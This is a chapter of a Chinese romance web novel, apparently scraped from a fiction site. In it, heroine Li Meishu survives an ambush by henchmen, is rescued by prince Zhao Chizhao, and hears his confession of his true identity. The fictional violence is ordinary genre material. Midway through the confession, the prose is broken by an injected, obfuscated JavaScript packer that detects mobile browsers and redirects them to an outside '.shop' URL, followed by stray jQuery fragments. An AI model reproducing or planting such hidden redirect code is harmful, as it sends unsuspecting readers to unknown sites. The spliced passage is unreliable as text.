文趣网 > 其他小说 > 救命!我画的小火人在古代爆火了! > 54. 你愿意原谅我吗?
    屋内烛光暖暖,且衬得东掌柜的目光愈加阴冷。李媚姝冷冷的盯着眼前的四名侍从,朝着东掌柜问道:

    “掌柜的这是何意,难不成还打算动手吗?”

    东掌柜起身朝着四名侍从摆摆手,那四名侍从便各自往后退了几步,将原先紧逼的位置放出一人的空间。

    只见东掌柜走到李媚姝身前,面带无奈之色,苦口婆心的劝道

    “我原先也不想如此,只是这件事触了贵人的霉头,你只要按照我说的去做,我们都能保住小命,还能有钱赚,岂不乐哉?”

    听着东掌柜的话,李媚姝的眼睛转了两圈,随即想明白了这是触碰到那群拐卖人口的利益了。不过能以此要挟东掌柜,想必这背后之人颇有一番权势,立即笑道:

    “掌柜的,你早说啊,我岂是那不识时务之人。我这就回去将今后的画稿改改,就先走了。”

    李媚姝说着,转身就要离开,却复被侍从拦住。东掌柜一听得到了承诺,便大松了一口气,转头对着四名侍从谄媚一笑,拱手道:

    “诸位也听到了,不如就……”东掌柜指了指大门,其所意不言而喻。

    只见那最靠近东掌柜的一名侍从先是冷冷一笑,随即在众人都没反应过来的时候猛然伸手掐住东掌柜的脖子,东掌柜的脸霎时涨红,双手紧握住那只擒着自己脖颈的手疯狂挣扎着。只见那人手臂一用力,在几声咔咔的响声后,东掌柜就没了气息。

    见此情景的李媚姝自是被吓得双腿瘫软,那原先跟着东掌柜的小厮更是直接跪倒在一旁,面色惨白地直哆嗦。

    李媚姝的喉咙不由得滑了滑,将手中的短刃握紧,警惕地看着不断靠近自己的四名侍从。

    “大哥大哥,有事好商量,能不能先告诉我,小人所犯何事要劳烦几位大哥如此大费周章。”

    李媚姝哆嗦着问道。只希望拖延些时间,有人能看到自己留在门缝里的那张字条,脑中疯狂地想着应对之策。

    四个侍从对视一眼,一名离她最近的侍从上下打量了她几眼,讥笑道:

    “将死之人,知道那么多有什么用。”

    此时李媚姝脸上已经没有了一丝血色,双手布满了冷汗险些连短刃都拿不住。听到这话更是心跳如雷,强撑道:

    “是是是,不知几位大哥准备怎么杀我,能不能利索点,我这人比较怕疼。”

    说着,李媚姝不动声色地扯了扯千红的衣服,后者立即会意,将醒神粉握在自己手中。

    只见侍从将一把短刃扔在李媚姝身前的桌子上,讥讽道:“那你就用这把短刃自我了断吧。”此前答话的那名侍从说道,接着又对着其他几人说道:“这人真是有意思,死到临头了还要求死法,真是头一遭遇见。”

    几人随即哄堂大笑,有冷眼看向李媚姝,其中的言语不言而喻。

    李媚姝深吸了口气,缓缓俯身将短刃拿起,而几名侍从正瞪着眼看着李媚姝的动作,厉声呵斥道:

    “快点!”

    李媚姝不敢答话,猛然抓起短刃拔出就要往自己的脖颈处刺去。然而就在这一瞬,身后的千红忽地将手中的醒神粉一扬,辛辣的药粉瞬间飘到几名侍从眼中,生理的不适让他们骤然将眼睛闭上。

    “此药可令人的双眼溃烂,若不及时清洗则无药可救!”李媚姝见此,立即带着千红往门外跑去,并对着身后几人大声喊道。

    那四人一听,便开始四下找找着水,企图保住自己的眼睛。又因睁不开眼,相互乱撞着,发出咒骂和哀嚎声。

    快步跑到门前,李媚姝就欲夺门而去,谁曾想将门打开时候,原先领着她的小厮却一把将她拦住。

    李媚姝拔出手中的短刃往身前之人刺去,吃痛的小厮立即她其掀倒在地,摔出去数步,头重重的磕在墙上。

    千红见状快步上前,却被小厮一脚踹翻,捂着肚子面色惨白的蜷缩在地,而此时屋内的几名侍从也已经恢复过来,其中一名抓起被扔在地上的短刃,快步走向李媚姝,恶狠狠道:

    “敢跟老子耍心眼,老子杀了你!”

    短刃被高高扬起,冷白的刃身倒映着李媚姝那双惊恐绝望的双眼,猛猛朝李媚姝落下。

    “救命啊!”无助绝望的声音响起,李媚姝双眼紧闭,大叫着希望有人注意到这个地方。

    预想中的疼痛没有传来,脸上传来一阵温热,像是有什么液体溅在她脸上,缓缓睁开双眼,只见那短刃仍高高的挂着,身前之人胸口处,一把利剑自后背贯穿而过,喷出的血溅到李媚姝的脸上,那人重重往一旁倒下,露出身后那道令人熟悉而安心的身影。

    赵驰昭快步向前将李媚姝扶起,一把抱紧怀中,带着轻微的颤抖。

    屋内剩下的三人见一瞬间发生的转变,呆愣了一瞬,反应过来后张牙舞爪地冲向赵驰昭。

    将李媚姝护在身后,一手快速地将利剑拔起,一记下劈在最先冲在前面的人的脖颈处留在一道鲜红的印子,随即挥舞着长剑,将剩下两人尽数斩于剑下。

    闻声而来的酒楼掌柜见此一幕,吓得魂不附体。而后赶来的赫业竹将欲冲上前理论的掌柜拦住,掏出一枚铜牌,掌柜的一见此铜牌上刻的字后,便换上了惶恐之色,退到一旁沉默着。

    赵驰昭将手中长剑一手,快步走到李媚姝身边横腰抱起,冷声说道:

    “将这里处理好,活口带回府里。”

    赫业竹应了声是,赵驰昭便抱着李媚姝来到楼下,骑上马往云昭王府而去。

    一路上,他把外袍裹在她身上,她的脸贴着他胸口,心跳声一下一下地砸在她耳膜里,分不清是谁的

    清冷的月斜斜落下,落在云昭王府的牌匾上,显出几分清冷之气。看门的小厮见自家王爷抱着一个人匆匆下马,赶忙将府门打开。赵驰昭抱着李媚姝往里走去,放在榻上之时紧紧将人拥入怀中。

    “昭哥哥……”

    “别说话,先让我抱一会……”

    李媚姝一愣,心底涌起一股酸涩,心尖像是被什么东西狠狠攥住,双眼渐渐模糊,缓缓将头靠在身前之人肩上。

    府中的一花一草被风吹得细细簌簌的响,街道上此时热潮高涨,那喷火的杂役吐出一条火龙,引得周围的人纷纷拍手叫好,摊前吃馄饨的人换了一批又一批,摊主忙不迭的招呼着客人,一边将新的馄饨呈上。

    两人紧紧相拥,两颗跳动的心在此刻相遇,李媚姝留下一行热泪,不偏不倚地落在赵驰昭的脖颈处,引得他一颤。

    “昭哥哥,你,抱得太紧了,我有点喘不上气了。”

    李媚姝推着赵驰昭的肩,艰难说道。

    赵驰昭将怀里的人一松,抬手拭去她眼角的泪水,却不敢看她。

    “对不起。”

    李媚姝听到此话,抬眼看去,只见此时赵驰昭双眼通红,其间还有水光流转,一时叫她忘了身在何处。

    “这和昭哥哥有什么关系,是我……”良久,李媚姝才从其中回过神来,声音略带哽咽的说道,眼中却是留下一滴清泪。

    “对不起,是我不好,我不该瞒着你,对不起。”赵驰昭复将人搂入怀中,恰逢此时自他脸上落在一滴泪

    “这段时间你疏远我,我仔细想了想,才发觉原来在我心底早已无法将你割舍,我自欺欺人的以为,这样对你来说,或许是件好事,但我做不到,我自私的想要将你留在身边,但自始至终都做不到坦诚。”

    “媚儿,对不起,这段时间我一直在想,我到底该怎么对你坦白,其实我有无数次机会对你说,但是我都选择沉默。因为我怕,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664045|204243||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我怕你因此疏远我,对我有所忌惮,有所防备。我逃了,我每次都逃了,母妃逝世,我面对父皇,面对皇兄,面对贵妃,我都逃了,因为我知道,害死母妃的人终究是我,我不想,我不敢留在宫里,我怕看到宫里的一砖一瓦一草一木,都会想起母妃还在世的时候。所以我着急立功,着急从那宫墙中逃出,但在母妃逝世的那年,我早已被锁死在宫中。”

    “这一次,我不想再逃了,我已经失去了一个挚爱,不想再失去了。我怕,媚儿,我好怕,我怕这次我逃了,就再也追不回你了。”

    “对不起,我骗了你,其实,我原名赵驰昭,是赵国的六皇子,是云昭王。”

    “媚儿,你愿意原谅我吗?”

    李媚姝听着,心底泛起层层波澜,积压已久的委屈和不安在此刻如泉涌一般喷涌而出,让她不顾一切的放声大哭起来。

    一片落叶被风裹着,随意飘着,那喷火的杂役朝众人拱了拱手,表示今晚的表演就此落幕。馄饨摊的老板将最后一副碗筷收好,数着今晚的收成。

    那落叶漫无目的的飘着,最后落入一汪清池中,让原本寂静的池面泛起层层涟漪。

    久久,李媚姝停止了啜泣,往赵驰昭怀中靠了靠,哽咽道:

    “昭哥哥,其实,我早就知道了。”

    “在那次你让我去给那个小姑娘治病的时候,我知道了。但我明知道你有苦衷,但我就是生气,我在想你什么时候才愿意将这件事告诉我。后来我听李叔翁说,我们家有愧于你,我就害怕,害怕你是不是因此故意接近我,我怕我的一个决定,就害得整个李家万劫不复。说到底,其实,我心里早就有了你。”

    从赵驰昭的怀中脱出,李媚姝静静地看着他,此时两人眼中都含着泪,倒映着彼此的身影。

    李媚姝脸上的血迹被泪模糊了,赵驰昭伸手去擦,就见李媚姝将自己的脸往他手中一靠,歪着头,笑问道:

    “怎么样,我聪明吧。”

    轻轻的一句笑语落在赵驰昭心上,那道尘封已久的心终于在此刻被打开,一切的犹豫不安悲切都在这时被尽数冲散,赵驰昭将头俯下,落在自己日思夜想的双唇上

    “媚儿聪慧。”

    一道快马的身影自京中闪过,停在孙府侧门前,李媚姝被赵驰昭抱下马,脸上还带着未散的绯红

    “怎么晚了,当真要回去?”

    赵驰昭拉过李媚姝的手,不舍道。

    “当然要回去,不然被我爹爹发现怎么办,到时候他又该数落我一顿了。”

    赵驰昭望着天叹了口气,最后只得将李媚姝带回屋内,站在门前,回想起当初在此处醒来之时还带着对她的猜忌,现在想来,还真是造化弄人。

    “昭哥哥快回去吧,被别人发现了。”

    李媚姝将赵驰昭往外推了推,四处张望着,一副做贼心虚的样子。

    赵驰昭反手抓住抵在他胸前的手,往前逼近了一步,笑问着:

    “原先将我带回来治伤怎么不怕被发现?”

    提到此事,李媚姝顿时想起当日的情形,自己因为此事整日提防着,每天过的心惊胆颤,这人居然还在着说着风凉话,抬眼便要反驳,却在对上那双含情脉脉的眼睛后,嘴上那道柔软的触感顿时在脑中回荡,便将脸转过一边,不自在道:

    “昭哥哥别说了,你快走吧,我累了,要休息了。”

    赵驰昭见李媚姝这副娇羞的模样,强忍着心中笑意与不舍,离开了孙府。

    立在马旁,赵驰昭伸手抚摸着自己的双唇,脑中浮现起李媚姝那种含羞待放的脸,心底不由得流过一股暖流,嘴角勾起一丝明显的弧度。

    就要上马回府之时,却听到身后传来一道声音:

    “王爷,您怎么在这?”